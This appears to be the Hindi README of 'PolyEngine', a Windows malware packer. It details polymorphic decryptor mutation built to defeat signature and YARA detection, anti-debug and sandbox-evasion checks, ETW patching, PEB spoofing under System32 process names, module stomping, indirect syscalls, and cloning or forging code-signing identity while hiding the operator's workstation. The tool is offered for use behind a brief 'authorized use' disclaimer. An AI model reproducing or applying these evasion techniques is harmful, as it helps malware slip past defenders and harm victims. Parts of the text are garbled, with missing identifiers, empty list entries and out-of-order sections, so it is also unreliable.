- **निर्देश प्रतिस्थापन** — प्रत्येक सिफर चरण तीन शब्दार्थ रूप से समतुल्य वेरिएंट में से एक में उत्सर्जित होता है (जैसे `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **लूप काउंटर वेरिएंट** — `inc r9` को `inc r9`, `add r9,1`, `lea r9,[r9+1]` के बीच यादृच्छिक किया जाता है; तुलना `cmp rdx,r9` और `cmp r9,rdx` के बीच स्वैप की जाती है
- **ब्लॉक क्रमपरिवर्तन** — 4 स्वतंत्र सेटअप ब्लॉक (RCX/RDX/R10/R11 ज़ीरोइंग) Fisher-Yates शफ़ल द्वारा पुनः क्रमबद्ध (24 संभावित क्रम)
- **XOR कुंजी क्रम स्वैप** — यादृच्छिक `xorSwapped` फ़्लैग बाहरी कुंजी अनुप्रयोग क्रम को पलट देता है; एन्क्रिप्टर + डिक्रिप्टर मेटाडेटा बिट के माध्यम से सिंक में रहते हैं

CompoundEncrypt सिफर (प्रत्येक बाइट पर XOR→ROL→ADD→XOR) चार-निर्देश डिक्रिप्टर टेम्पलेट पर सफाई से मैप होता है। MutationEngine प्रत्येक चरण के लिए एक अलग वेरिएंट संयोजन उत्सर्जित करता है, जिससे डिक्रिप्टर लूप का स्थैतिक सिग्नेचर मिलान असंभव हो जाता है।

</details>

<details>
<summary><b>एन्क्रिप्शन स्टैक</b></summary>

| परत | एल्गोरिदम | कुंजी स्रोत |
|---|---|---|
| बाहरी | XTEA-CTR (128-bit) | रनटाइम-व्युत्पन्न बेस XOR प्रति-बिल्ड `CryptGenRandom` सॉल्ट |
| आंतरिक | CompoundEncrypt (XOR+ROL+ADD+XOR) | प्रति-बिल्ड `__rdtsc`-सीडेड compound कुंजी, डिक्रिप्टर स्टब में एम्बेडेड |

**बाहरी XTEA कुंजी व्युत्पत्ति** (`Xtea_DeriveKey`): 128-बिट कुंजी रनटाइम पर अपरिमेय-संख्या स्थिरांकों (φ, √2, √3, √5, √10 को 32 बिट्स में स्केल किया गया) पर अंकगणित से निर्मित होती है। सभी पाँच सीड स्थिरांक स्वयं `volatile` XOR जोड़ों (`A ^ B`) में विभाजित होते हैं ताकि `.rdata` में कोई प्लेनटेक्स्ट अपरिमेय बाइट अनुक्रम दिखाई न दे — पुनर्प्राप्ति के लिए व्युत्पत्ति चलाना आवश्यक है। बाइनरी में कोई सतत 16-बाइट कुंजी ब्लॉब मौजूद नहीं है। अंतिम कुंजी `derived_base XOR key_salt` है, जहाँ `key_salt` `.rsrc` में संग्रहीत `CryptGenRandom` आउटपुट के 16 बाइट्स हैं — प्रत्येक बिल्ड एक अद्वितीय कीस्ट्रीम उत्पन्न करता है।

**डायनामिक मैजिक (कोई स्थैतिक YARA एंकर नहीं):** `.rsrc` मेटाडेटा ब्लॉक `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]` के साथ समाप्त होता है। स्टब इस इन्वेरिएंट को सत्यापित करते हुए पीछे की ओर स्कैन करके ब्लॉक का पता लगाता है — YARA नियम को एंकर करने के लिए कोई `0xDEADBEEF` या अन्य निश्चित स्थिरांक मौजूद नहीं है।

</details>

<details>
<summary><b>TLS कॉलबैक एंटी-डिबग</b></summary>

Windows लोडर `.CRT$XLB` से TLS कॉलबैक को **`AddressOfEntryPoint` के नियंत्रण पाने से पहले** आमंत्रित करता है — किसी भी पेलोड के मेमोरी में आने से पहले। उस क्षण पर्यावरण की जाँच शून्य बाहरी API निर्भरताओं के साथ की जाती है (केवल CPU इंट्रिन्सिक्स और सीधे PEB रीड्स):

| जाँच | PEB / Heap फ़ील्ड | पहचान की स्थिति |
|---|---|---|
| BeingDebugged | `PEB+0x002` | कोई भी Win32 डीबगर जुड़ा हुआ |
| NtGlobalFlag | `PEB+0xBC` (x64) | डीबगर के अंतर्गत ntdll द्वारा बिट्स `0x70` सेट |
| Heap Flags | `ProcessHeap+0x70` (x64) | मान != 2 (HEAP_GROWABLE) |
| Heap ForceFlags | `ProcessHeap+0x74` (x64) | मान != 0 |

पहचान होने पर: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — सभी यूज़र-मोड अपवाद हैंडलर (VEH, SEH, UnhandledExceptionFilter) को बायपास करता है। WER `STATUS_STACK_BUFFER_OVERRUN (c0000409)` दर्ज करता है, जो एक वैध मेमोरी-सुरक्षा क्रैश से अप्रभेद्य है।

बिल्ड समय पर `--disable tls` के साथ इसे अक्षम किया जा सकता है। बिल्डर एम्बेड करने से पहले कॉलबैक को निष्क्रिय करने के लिए लोडर स्टब में 5-बाइट मार्कर को पैच करता है।

</details>

<details>
<summary><b>ETW पैचिंग</b></summary>

`Opsec_PatchEtw()` प्रक्रिया ntdll में `EtwEventWrite` के पहले बाइट्स पर 3-बाइट no-op लिखता है:```asm
; After patch:
33 C0    xor eax, eax   ; return STATUS_SUCCESS (0)
C3       ret

PEB स्पूफ़िंग

Opsec_SpoofPeb() निम्न को फिर से लिखता है:

PEB.ImageBaseFileName — Process Hacker आदि द्वारा दिखाया गया प्रोसेस नाम
PEB.ImagePathName और PEB.CommandLine — प्रोसेस सूचियों में दिखने वाला पूर्ण पथ
PEB.BeingDebugged = 0, PEB.NtGlobalFlag = 0 — एंटी-डिबग फ्लैग
ProcessHeap.Flags = 2, ProcessHeap.ForceFlags = 0 — हीप डिबग फ्लैग

स्पूफ़ फ़ाइलनाम --spoof-name के माध्यम से सेट किया जाता है। यदि इसे छोड़ दिया जाए, तो Builder CryptGenRandom का उपयोग करके 9 सामान्य System32 प्रक्रियाओं (RuntimeBroker.exe, SgrmBroker.exe, , , , , , , ) के पूल से यादृच्छिक रूप से चुनता है।

सैंडबॉक्स और एंटी-विश्लेषण जाँच

Evasion_RunChecks() किसी भी syscall इनिशियलाइज़ेशन से पहले चलती है और केवल Win32 API लेयर का उपयोग करती है। जाँचें --disable के माध्यम से व्यक्तिगत रूप से टॉगल करने योग्य हैं।

हार्ड जाँचें — एक भी सकारात्मक परिणाम तुरंत बाहर निकलने को ट्रिगर करता है:

API हैशिंग — Djb2

सभी Windows API नामों को कंपाइल समय पर पूर्व-गणना किए गए Djb2 हैश के साथ बदल दिया जाता है, जिन्हें g_Hash_* ग्लोबल्स के रूप में संग्रहीत किया जाता है। GetProcAddressH() एक्सपोर्ट डायरेक्टरी को स्कैन करता है और मिलान मिलने तक प्रत्येक एक्सपोर्ट किए गए नाम को हैश करता है — इम्पोर्ट टेबल या .data में कोई प्लेनटेक्स्ट API स्ट्रिंग नहीं दिखती है।

आइडेंटिटी क्लोनिंग — --clone-meta

वैकल्पिक Phase 11 पोस्ट-बिल्ड चरण जो एक डोनर PE से तीन कॉस्मेटिक विशेषताओं को पहले से निर्मित आउटपुट में कॉपी करता है। यह BuildInfectedPE के बाद चलता है (जो .rsrc को पूरी तरह से फिर से लिखता है — पहले लिखी गई कोई भी चीज़ खो जाएगी) और SignPeWithPfx से पहले (जो सर्ट डायरेक्टरी को वास्तविक हस्ताक्षर के साथ अधिलेखित करता है यदि --pfx भी दिया गया हो)।

CloneMeta_CopyResources डोनर को एक फ्लैट डेटा फ़ाइल के रूप में लोड करता है (LOAD_LIBRARY_AS_DATAFILE — जानबूझकर बिना LOAD_LIBRARY_AS_IMAGE_RESOURCE, जो सिस्टम फ़ाइलों पर MUI रिसोर्स रीडायरेक्शन को सक्रिय करता है और RT_GROUP_ICON लुकअप को एक भाषा सैटेलाइट .mui पर रूट करता है जिसमें कोई आइकन नहीं होता)। RT_VERSION को सभी भाषा ID एकत्र करने के लिए EnumResourceLanguagesA के माध्यम से एन्यूमरेट किया जाता है; प्रत्येक वेरिएंट को के साथ लिखा जाता है। के लिए, सबसे कम इंटीजर-ID समूह चुना जाता है (वही जिसे Explorer शेल आइकन के लिए परंपरा से उपयोग करता है)। वास्तविक डेटा लुकअप के लिए उपयोग नहीं किया जाता है — यह हैंडल पर (1813) के साथ विफल होता है, यहां तक कि उन रिसोर्सेस के लिए भी जिन्हें ने अभी खोजा था, क्योंकि डेटाफ़ाइल मोड में फ़ॉलबैक पथ टूटा हुआ है। इसके बजाय, डोनर में संग्रहीत सटीक निकालता है, फिर सीधे इसका उपयोग करता है। सभी कॉल आउटपुट PE को के साथ खोलते हैं — मर्ज फ्लैग Phase 10 से मौजूदा पेलोड एंट्री को सुरक्षित रखता है।

ऑथेंटिकोड हस्ताक्षर — --pfx

वैकल्पिक पोस्ट-बिल्ड चरण। जब --pfx प्रदान किया जाता है, तो Builder पैक किए गए आउटपुट को mssign32!SignerSignEx2 के माध्यम से हस्ताक्षरित करता है (रनटाइम पर हल किया गया — कोई लिंक-टाइम mssign32 निर्भरता नहीं, ऑपरेटर वर्कस्टेशन पर कोई signtool.exe नहीं)। हस्ताक्षर BuildInfectedPE लौटने के बाद Phase 9 के रूप में चलता है, क्योंकि हस्ताक्षर लिखने से IMAGE_DIRECTORY_ENTRY_SECURITY फिर से लिखा जाता है और PE चेकसम की पुनर्गणना होती है; कोई भी बाद का रिसोर्स संपादन हस्ताक्षर को अमान्य कर देगा।

PFX को PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES के साथ इम्पोर्ट किया जाता है। NO_PERSIST_KEY प्राइवेट कुंजी को केवल मेमोरी में रखता है — %APPDATA%\Microsoft\Crypto के अंतर्गत कोई की कंटेनर फ़ाइल नहीं लिखी जाती, जो अन्यथा ऑपरेटर के वर्कस्टेशन को हस्ताक्षरित सैंपल से जोड़ देती। आधुनिक PFX के लिए PREFER_CNG_KSP आवश्यक है (PowerShell , OpenSSL ≥3.x); इसके बिना () के साथ विफल हो जाता है। डाइजेस्ट SHA-256 है।

.rsrc मेटाडेटा ब्लॉक लेआउट

रिसोर्स पेलोड ID 101 पर निश्चित नहीं है। पैक समय पर Builder:

CryptGenRandom के माध्यम से 0x0100..0x7EFF रेंज में एक WORD RT_RCDATA ID बनाता है
लोडर स्टब में g_PayloadResIdMarker[4..5] पर LE बाइट्स को पैच करता है (Payload.c में टैग {0xB1,0x0B,0x1D,0xE0}; अनपैच किया गया डिफ़ॉल्ट = 101)
स्टब इमेज पर StubMorph_Apply चलाता है
UpdateResource(RT_RCDATA, id) = [XTEA-एन्क्रिप्टेड ब्लॉब | PAYLOAD_METADATA (280 बाइट्स)] लिखता है

रनटाइम पर Stub मार्कर को पढ़ता है और उस ID के साथ FindResourceW कॉल करता है। मेटाडेटा ब्लॉक रिसोर्स के अंत से पीछे की ओर स्कैन करके (128 बाइट्स तक, UpdateResource संरेखण पैडिंग को सहन करते हुए) और magic == XOR(key_salt[0..3]) को सत्यापित करके स्थित किया जाता है।

फ़ील्ड-दर-फ़ील्ड लेआउट

``` [XTEA-encrypted blob] [key_salt : 16 bytes] per-build random XTEA salt (4 x DWORD) [dll_idx0 : 1 byte ] index into g_DllPool (module stomping target 1) [dll_idx1 : 1 byte ] index into g_DllPool (module stomping target 2) [dll_idx2 : 1 byte ] index into g_DllPool (module stomping target 3) [pad : 1 byte ] alignment (0x00) [origSize : 4 bytes] original decompressed PE size (ULONG) [stubSize : 4 bytes] mutated ASM decryptor size (DWORD) [blobSize : 4 bytes] XTEA blob size (DWORD) [exportHash : 4 bytes] Djb2(exportName, key_salt[0]); 0 = none [exportArg : 128 bytes] null-terminated export argument string (zero-padded) [spoof_exe : 64 bytes] ASCII filename for PEB spoof (zero-padded) [semaphore_name : 32 bytes] exec-ctrl semaphore name; empty = default "wuauctl" (zero-padded) [sleep_fwd_ms : 4 bytes] sleep-fwd check duration (ms); 0 = default 500 [uptime_min : 4 bytes] uptime threshold (minutes); 0 = default 2 [hammer_ms : 4 bytes] API-hammer delay (ms); 0 = default 3000 [flags : 4 bytes] OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bitmask [magic : 4 bytes] key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3] ────────────────────────────── Total: 280 bytes (kMagicOffset = 276) ``` `flags` बिट्स (`Engine/OpsecFlags.h` देखें): OPSEC 0–5, evasion/unhook 6–16, `PAYLOAD_FLAG_IS_SHELLCODE` (17).

ब्लॉक में कहीं भी कोई निश्चित मान मौजूद नहीं है — हर फ़ील्ड या तो यादृच्छिक (key_salt, magic) है या बिल्ड-विशिष्ट। RT_RCDATA ID भी प्रति-बिल्ड है। YARA किसी स्थिर बाइट अनुक्रम या निश्चित संसाधन ID पर आधारित नहीं हो सकता।

लोडर एग्ज़िट कोड (Release): सभी लोडर विफलता पथ LOADER_EXIT (Stub/Common.h) के माध्यम से कोड 0 के साथ बाहर निकलते हैं। डीबग बिल्ड चरण निदान के लिए अलग-अलग कोड रखते हैं। Evasion डिटेक्शन पहले से ही 0 पर बाहर निकलते हैं।

Module Stomping DLL पूल

बिल्डर --preset .rsrc में संग्रहीत 3 DLL इंडेक्स चुनता है। स्टब रनटाइम पर g_DllPool से नाम हल करता है — पेलोड या मेटाडेटा में कोई DLL नाम दिखाई नहीं देता है।

DLL पूल तालिका

प्रोजेक्ट संरचना

फ़ाइल ट्री

``` PolyEngine/ ├── Builder/ — packer CLI (links selected Engine units) │ ├── Builder.cpp — CLI, ResolveStubPath (stub_v* pool), pipeline orchestration │ ├── CloneMeta.cpp/h — VERSIONINFO + icon + cert directory (--clone-meta) │ ├── PeSigning.cpp/h — Authenticode via mssign32!SignerSignEx2 (--pfx) │ └── UacManifest.cpp/h — RT_MANIFEST requireAdministrator (--uac) ├── Engine/ — shared sources (subset linked into Builder and/or Stub) │ ├── Compression.c/h — LZNT1 compress (Builder) / decompress helpers │ ├── Crypto.c/h — CompoundEncrypt inner cipher (XOR+ROL+ADD+XOR) │ ├── DecryptorStub.asm — 34-byte polymorphic decryptor template │ ├── MutationEngine.c/h — per-build ASM decryptor mutation (Builder) │ ├── NtApi.c/h — NT API pointer table (Stub binds via HellsHall) │ ├── OpsecFlags.h — OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bits │ ├── PeBuilder.c/h — PAYLOAD_METADATA (280 B) + .rsrc inject + marker patches │ ├── StubMorph.c/h — pack-time PE morph: timestamp, section-name profiles, island+tag randomize (Builder only) │ ├── RunPE.c/h — in-process PE map (IAT, relocs, DllMain / EXE EP) │ └── Xtea.c/h — XTEA-CTR + irrational-constant key derivation └── Stub/ — CRT-free runtime; Release|x64 → stub_v0.bin .. stub_v3.bin ├── Stub.cpp — EntryPoint → Loader_* phases; POLY_VARIANT OPSEC order ├── PolyIslands.c — marker-bracketed NOP pads + per-variant decoy blob ├── ApiHashing.cpp/h — Djb2 hash cache, GetProcAddressH, GetModuleHandleH ├── Common.c/h — custom_memcpy/memset/memcmp; LOADER_EXIT (Release→0) ├── Evasion.cpp/h — HammerDelay + RunChecks (sandbox / debugger) ├── HellsHall.asm — indirect syscall + Moonwalk RSP pivot (deny-list / shared) ├── ModuleStomping.c/h — ModuleStomp_Alloc / ModuleOverload_Alloc ├── Opsec.c/h — ETW patch, PEB spoof ├── Payload.c/h — g_PayloadResIdMarker, GetPayloadFromResource, decompress ├── StubNtApi.c — Sys_Nt* wrappers → HellsHall ├── Structs.h — NT structs (no DDK) ├── Syscalls.c/h — FreshyCalls SSN sort, syscall;ret trampoline in ntdll .text ├── TlsCallback.c — pre-EP anti-debug + TLS guard marker ├── Unhooker.c/h — optional \KnownDlls\ .text restore (--unhook) └── StackSpoof.c/h — gadget pool + per-call synthetic stack configs ```

निर्भरताएँ

Windows 10/11 x64 लक्ष्य
Visual Studio 2022 (MSVC v143) — कोई बाहरी लाइब्रेरी नहीं
स्टब: शून्य CRT निर्भरता (/NODEFAULTLIB), न malloc/free, न <string.h>

अनुरक्षण: Razz | opsec-सचेत सुरक्षा अनुसंधान और मनोरंजन के लिए निर्मित

कार्यान्वयन में सहायता Claude Code, Grok और DeepSeek के साथ की गई

लाइसेंस

MIT — केवल अधिकृत उपयोग। पूर्ण अस्वीकरण के लिए LICENSE देखें।

`debugger`	`PEB.BeingDebugged`, `PEB.NtGlobalFlag`, `ProcessHeap` फ्लैग, `NtQueryInformationProcess(ProcessDebugPort)`	Win32 डिबगर जुड़ा हुआ
`api-emu`	`RtlComputeCrc32(seed, NULL, 0)` — seed के बराबर होना चाहिए	API इम्यूलेशन जो गलत परिणाम लौटाता है
`exec-ctrl`	नामित सेमाफोर (डिफ़ॉल्ट रूप से `wuauctl`, कॉन्फ़िगर करने योग्य) — `ERROR_ALREADY_EXISTS`	सैंपल का दूसरा निष्पादन
`sleep-fwd`	`Sleep(ms)` + `GetTickCount64` डेल्टा, थ्रेशोल्ड = `ms` का 90%	सैंडबॉक्स जो `Sleep` कॉल को तेज़ी से आगे बढ़ाता है

जाँच	थ्रेशोल्ड	यह क्या पता लगाती है
`uptime`	सिस्टम अपटाइम < N मिनट (डिफ़ॉल्ट: 2)	नव-निर्मित सैंडबॉक्स VM
`cpu`	लॉजिकल प्रोसेसर संख्या < 2	कम-स्पेक सैंडबॉक्स
`screen`	स्क्रीन चौड़ाई ≤ 1024 px	800×600 / 1024×768 सैंडबॉक्स रेज़ोल्यूशन
`files`	`HKCU\...\Explorer\RecentDocs` सबकी संख्या < 5	साफ़ / नकली उपयोगकर्ता प्रोफ़ाइल

PolyEngine

सबसे लोकप्रिय

Fake cert clone (no --pfx): expect HashMismatch, donor signer

Real signature (--pfx): expect Valid, your cert

signtool independent check

0	xpsservices.dll	PRINT
1	msi.dll	PRINT
2	dbghelp.dll	PRINT
3	winmm.dll	MEDIA
4	dxgi.dll	MEDIA
5	oleaut32.dll	MEDIA
6	winhttp.dll	NETWORK
7	wtsapi32.dll	NETWORK
8	wlanapi.dll	NETWORK
9	bcrypt.dll	(RANDOM-only)